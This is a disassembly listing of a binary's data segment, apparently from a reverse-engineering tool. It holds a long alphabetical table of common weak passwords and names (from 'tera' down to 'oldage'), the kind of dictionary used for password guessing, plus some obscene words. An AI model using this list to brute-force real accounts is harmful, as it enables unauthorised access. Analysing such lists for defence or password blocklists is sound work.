aTera		db 'tera',0             ; DATA XREF: seg000:0042DA98o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg000:0042DA94o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: seg000:0042DA90o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg000:0042DA8Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg000:0042DA88o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: seg000:0042DA84o
aTeen		db 'teen',0             ; DATA XREF: seg000:0042DA80o
		align 10h
aTech		db 'tech',0             ; DATA XREF: seg000:0042DA7Co
		align 4
aTears		db 'tears',0            ; DATA XREF: seg000:0042DA78o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: seg000:0042DA74o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg000:0042DA70o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: seg000:0042DA68o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg000:0042DA64o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg000:0042DA60o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg000:0042DA5Co
		align 4
aTape		db 'tape',0             ; DATA XREF: seg000:0042DA58o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg000:0042DA54o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg000:0042DA50o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: seg000:0042DA4Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg000:0042DA48o
		align 10h
aTami		db 'tami',0             ; DATA XREF: seg000:0042DA44o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg000:0042DA40o
		align 10h
aTall		db 'tall',0             ; DATA XREF: seg000:0042DA3Co
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg000:0042DA38o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: seg000:0042DA34o
aSysop		db 'sysop',0            ; DATA XREF: seg000:0042DA30o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg000:0042DA2Co
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg000:0042DA28o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg000:0042DA24o
		align 10h
aSword		db 'sword',0            ; DATA XREF: seg000:0042DA20o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg000:0042DA1Co
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: seg000:0042DA18o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg000:0042DA14o
aSuzie		db 'suzie',0            ; DATA XREF: seg000:0042DA10o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg000:0042DA0Co
aSusie		db 'susie',0            ; DATA XREF: seg000:0042DA08o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg000:0042DA04o
aSusan		db 'susan',0            ; DATA XREF: seg000:0042DA00o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg000:0042D9FCo
aSurfer		db 'surfer',0           ; DATA XREF: seg000:0042D9F8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg000:0042D9F4o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg000:0042D9F0o
aSupervis	db 'supervis',0         ; DATA XREF: seg000:0042D9ECo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg000:0042D9E8o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg000:0042D9E4o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: seg000:0042D9E0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg000:0042D9DCo
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg000:0042D9D8o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: seg000:0042D9D4o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg000:0042D9D0o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg000:0042D9CCo
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg000:0042D9C8o
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg000:0042D9C4o
aSubway		db 'subway',0           ; DATA XREF: seg000:0042D9C0o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg000:0042D9BCo
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg000:0042D9B8o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg000:0042D9B0o
					; seg000:00425600o
		align 4
aString		db 'string',0           ; DATA XREF: seg000:0042D9ACo
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg000:off_42549Co
					; seg000:0042D9A8o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg000:0042D9A4o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg000:0042D9A0o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: seg000:0042D99Co
aStones		db 'stones',0           ; DATA XREF: seg000:0042D998o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: seg000:0042D994o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg000:0042D990o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg000:0042D98Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg000:0042D988o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg000:0042D984o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: seg000:0042D980o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg000:0042D97Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: seg000:0042D978o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg000:0042D974o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: seg000:0042D970o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg000:0042D96Co
aStartrek	db 'startrek',0         ; DATA XREF: seg000:0042D968o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40CE55+1EF2o
					; seg000:0042D964o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg000:0042D960o
		align 4
aStar		db 'star',0             ; DATA XREF: seg000:0042D95Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg000:0042D958o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg000:0042D954o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg000:0042D950o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg000:0042D94Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg000:0042D948o
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg000:0042D944o
aSpunk		db 'spunk',0            ; DATA XREF: seg000:0042D940o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg000:0042D93Co
		align 10h
aSpring		db 'spring',0           ; DATA XREF: seg000:0042D938o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg000:0042D934o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: seg000:0042D930o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg000:0042D92Co
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg000:0042D928o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg000:0042D924o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg000:0042D920o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg000:0042D91Co
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg000:0042D918o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg000:0042D914o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg000:0042D910o
		align 4
aSource		db 'source',0           ; DATA XREF: seg000:0042D90Co
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg000:0042D908o
aSonya		db 'sonya',0            ; DATA XREF: seg000:0042D904o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg000:0042D900o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg000:0042D8FCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg000:0042D8F8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg000:0042D8F4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: seg000:0042D8F0o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg000:0042D8ECo
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg000:0042D8E8o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg000:0042D8E4o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg000:0042D8E0o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: seg000:0042D8DCo
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg000:0042D8D8o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: seg000:0042D8D4o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg000:0042D8D0o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: seg000:0042D8CCo
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg000:0042D8C8o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: seg000:0042D8C4o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg000:0042D8C0o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: seg000:0042D8BCo
aSmooch		db 'smooch',0           ; DATA XREF: seg000:0042D8B8o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: seg000:0042D8B4o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg000:0042D8B0o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: seg000:0042D8ACo
		align 4
aSmall		db 'small',0            ; DATA XREF: seg000:0042D8A8o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: seg000:0042D8A4o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg000:0042D8A0o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: seg000:0042D89Co
aSlick		db 'slick',0            ; DATA XREF: seg000:0042D898o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: seg000:0042D894o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg000:0042D890o
		align 10h
aSite		db 'site',0             ; DATA XREF: seg000:0042D88Co
		align 4
aSingle		db 'single',0           ; DATA XREF: seg000:0042D888o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: seg000:0042D884o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg000:0042D880o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg000:0042D87Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: seg000:0042D878o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg000:0042D874o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: seg000:0042D870o
aSilver		db 'silver',0           ; DATA XREF: seg000:0042D86Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: seg000:0042D868o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg000:0042D864o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg000:0042D860o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg000:0042D85Co
aShort		db 'short',0            ; DATA XREF: seg000:0042D858o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg000:0042D854o
aShiva		db 'shiva',0            ; DATA XREF: seg000:0042D850o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg000:0042D84Co
aShit		db 'shit',0             ; DATA XREF: seg000:0042D848o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg000:0042D844o
aShift		db 'shift',0            ; DATA XREF: seg000:0042D840o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg000:0042D83Co
		align 4
aShell		db 'shell',0            ; DATA XREF: seg000:0042D838o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg000:0042D834o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg000:0042D830o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: seg000:0042D82Co
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg000:0042D828o
		align 10h
aShark		db 'shark',0            ; DATA XREF: seg000:0042D824o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg000:0042D820o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: seg000:0042D81Co
aSexy		db 'sexy',0             ; DATA XREF: seg000:0042D818o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: seg000:0042D814o
		align 4
aService	db 'service',0          ; DATA XREF: seg000:0042D810o
					; seg000:0042E3D8o
aSerial_0	db 'serial',0           ; DATA XREF: seg000:0042D80Co
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg000:0042D808o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg000:0042D804o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg000:0042D800o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg000:0042D7FCo
		align 10h
aSega		db 'sega',0             ; DATA XREF: seg000:0042D7F8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg000:0042D7F4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: seg000:0042D7F0o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg000:0042D7ECo
		align 4
aScout		db 'scout',0            ; DATA XREF: seg000:0042D7E8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg000:0042D7E4o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg000:0042D7E0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg000:0042D7DCo
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg000:0042D7D8o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg000:0042D7D4o
aSchool		db 'school',0           ; DATA XREF: seg000:0042D7D0o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg000:0042D7CCo
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg000:0042D7C8o
aSaxon		db 'saxon',0            ; DATA XREF: seg000:0042D7C4o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg000:0042D7C0o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg000:0042D7BCo
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: seg000:0042D7B8o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg000:0042D7B4o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: seg000:0042D7B0o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg000:0042D7ACo
		align 10h
aSample		db 'sample',0           ; DATA XREF: seg000:0042D7A8o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg000:0042D7A4o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg000:0042D7A0o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg000:0042D79Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg000:0042D798o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg000:0042D794o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg000:0042D790o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg000:0042D78Co
		align 4
aRunning	db 'running',0          ; DATA XREF: seg000:0042D788o
aRules		db 'rules',0            ; DATA XREF: seg000:0042D784o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg000:0042D780o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg000:0042D77Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg000:0042D778o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg000:0042D774o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg000:0042D770o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg000:0042D76Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg000:0042D768o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: seg000:0042D764o
aRose		db 'rose',0             ; DATA XREF: seg000:0042D760o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: seg000:0042D75Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg000:0042D758o
aRomeo		db 'romeo',0            ; DATA XREF: seg000:0042D754o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg000:0042D750o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: seg000:0042D74Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg000:0042D748o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg000:0042D744o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg000:0042D740o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg000:0042D73Co
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg000:0042D738o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg000:0042D734o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg000:0042D730o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg000:0042D72Co
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg000:0042D728o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: seg000:0042D724o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg000:0042D720o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: seg000:0042D71Co
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg000:0042D718o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: seg000:0042D714o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg000:0042D710o
		align 10h
aRing		db 'ring',0             ; DATA XREF: seg000:0042D70Co
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg000:0042D708o
		align 4
aRight		db 'right',0            ; DATA XREF: seg000:0042D704o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg000:0042D700o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg000:0042D6FCo
		align 10h
aRich		db 'rich',0             ; DATA XREF: seg000:0042D6F8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg000:0042D6F4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: seg000:0042D6F0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg000:0042D6ECo
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg000:0042D6E8o
		align 10h
aReport		db 'report',0           ; DATA XREF: seg000:0042D6E4o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg000:0042D6E0o
		align 10h
aReno		db 'reno',0             ; DATA XREF: seg000:0042D6DCo
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg000:0042D6D8o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: seg000:0042D6D4o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg000:0042D6D0o
aRegional	db 'regional',0         ; DATA XREF: seg000:0042D6CCo
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg000:0042D6C8o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg000:0042D6C4o
aReddawn	db 'reddawn',0          ; DATA XREF: seg000:0042D6C0o
aRecord		db 'record',0           ; DATA XREF: seg000:0042D6BCo
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: seg000:0042D6B8o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg000:0042D6B4o
aRebal		db 'rebal',0            ; DATA XREF: seg000:0042D6B0o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg000:0042D6ACo
		align 10h
aReam		db 'ream',0             ; DATA XREF: seg000:0042D6A8o
		align 4
aReally		db 'really',0           ; DATA XREF: seg000:0042D6A4o
		align 10h
aReality	db 'reality',0          ; DATA XREF: seg000:0042D6A0o
aReagan		db 'reagan',0           ; DATA XREF: seg000:0042D69Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: seg000:0042D698o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg000:0042D694o
		align 10h
aRape		db 'rape',0             ; DATA XREF: seg000:0042D690o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg000:0042D688o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg000:0042D684o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg000:0042D680o
aRain		db 'rain',0             ; DATA XREF: seg000:0042D67Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg000:0042D678o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg000:0042D674o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: seg000:0042D670o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg000:0042D66Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg000:0042D668o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg000:0042D664o
					; seg000:0042E3BCo
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg000:0042D660o
					; seg000:0042E3B8o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg000:0042D65Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg000:0042D658o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg000:0042D654o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg000:0042D650o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg000:0042D64Co
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg000:0042D648o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg000:0042D644o
aPuke		db 'puke',0             ; DATA XREF: seg000:0042D640o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: seg000:0042D63Co
		align 4
aPublic		db 'public',0           ; DATA XREF: seg000:0042D638o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: seg000:0042D634o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg000:0042D630o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg000:0042D62Co
		align 10h
aProtect	db 'protect',0          ; DATA XREF: seg000:0042D628o
aPrompt		db 'prompt',0           ; DATA XREF: seg000:0042D624o
		align 10h
aProgram	db 'program',0          ; DATA XREF: seg000:0042D620o
aProfile	db 'profile',0          ; DATA XREF: seg000:0042D61Co
aProfesso	db 'professo',0         ; DATA XREF: seg000:0042D618o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg000:0042D614o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg000:0042D610o
aPrivs		db 'privs',0            ; DATA XREF: seg000:0042D60Co
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg000:0042D608o
aPriv		db 'priv',0             ; DATA XREF: seg000:0042D604o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg000:0042D600o
aPrinceto	db 'princeto',0         ; DATA XREF: seg000:0042D5FCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg000:0042D5F8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg000:0042D5F4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg000:0042D5F0o
aPrecious	db 'precious',0         ; DATA XREF: seg000:0042D5ECo
		align 10h
aPraise		db 'praise',0           ; DATA XREF: seg000:0042D5E8o
		align 4
aPower		db 'power',0            ; DATA XREF: seg000:0042D5E4o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: seg000:0042D5E0o
		align 4
aPost		db 'post',0             ; DATA XREF: seg000:0042D5DCo
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: seg000:0042D5D8o
aPorno		db 'porno',0            ; DATA XREF: seg000:0042D5D4o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: seg000:0042D5D0o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg000:0042D5CCo
		align 10h
aPoor		db 'poor',0             ; DATA XREF: seg000:0042D5C8o
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg000:0042D5C4o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: seg000:0042D5C0o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg000:0042D5BCo
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg000:0042D5B8o
		align 10h
aPolice		db 'police',0           ; DATA XREF: seg000:0042D5B4o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg000:0042D5B0o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: seg000:0042D5ACo
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg000:0042D5A8o
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg000:0042D5A4o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg000:0042D5A0o
aPlane		db 'plane',0            ; DATA XREF: seg000:0042D59Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg000:0042D598o
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg000:0042D594o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg000:0042D590o
aPimp		db 'pimp',0             ; DATA XREF: seg000:0042D58Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg000:0042D588o
		align 4
aPick		db 'pick',0             ; DATA XREF: seg000:0042D584o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg000:0042D580o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg000:0042D57Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg000:0042D578o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg000:0042D574o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg000:0042D570o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg000:0042D56Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg000:0042D568o
aPhilip		db 'philip',0           ; DATA XREF: seg000:0042D564o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg000:0042D560o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg000:0042D55Co
		align 4
aPete		db 'pete',0             ; DATA XREF: seg000:0042D558o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg000:0042D554o
aPersona	db 'persona',0          ; DATA XREF: seg000:0042D550o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg000:0042D54Co
		align 10h
aPermit		db 'permit',0           ; DATA XREF: seg000:0042D548o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg000:0042D544o
aPercolat	db 'percolat',0         ; DATA XREF: seg000:0042D540o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg000:0042D53Co
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg000:0042D538o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg000:0042D534o
aPenthous	db 'penthous',0         ; DATA XREF: seg000:0042D530o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: seg000:0042D52Co
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg000:0042D528o
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg000:0042D524o
aPenis		db 'penis',0            ; DATA XREF: seg000:0042D520o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg000:0042D51Co
aPenelope	db 'penelope',0         ; DATA XREF: seg000:0042D518o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg000:0042D514o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg000:0042D510o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg000:0042D50Co
aPaula		db 'paula',0            ; DATA XREF: seg000:0042D508o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg000:0042D504o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg000:0042D500o
aPatricia	db 'patricia',0         ; DATA XREF: seg000:0042D4FCo
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg000:0042D4F8o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: seg000:0042D4F4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg000:0042D4F0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg000:0042D4ECo
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg000:0042D4E8o
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg000:0042D4E4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg000:0042D4E0o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg000:0042D4DCo
		align 10h
aPaint		db 'paint',0            ; DATA XREF: seg000:0042D4D8o
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg000:0042D4D4o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg000:0042D4D0o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg000:0042D4CCo
aPacific	db 'pacific',0          ; DATA XREF: seg000:0042D4C8o
aOxford		db 'oxford',0           ; DATA XREF: seg000:0042D4C4o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg000:0042D4C0o
aOutput		db 'output',0           ; DATA XREF: seg000:0042D4BCo
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg000:0042D4B8o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg000:0042D4B4o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg000:0042D4B0o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: seg000:0042D4ACo
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg000:0042D4A8o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: seg000:0042D4A4o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg000:0042D4A0o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: seg000:0042D49Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg000:0042D498o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg000:0042D494o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg000:0042D490o
aOmega		db 'omega',0            ; DATA XREF: seg000:0042D488o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg000:0042D484o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg000:0042D480o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg000:0042D47Co
		align 10h
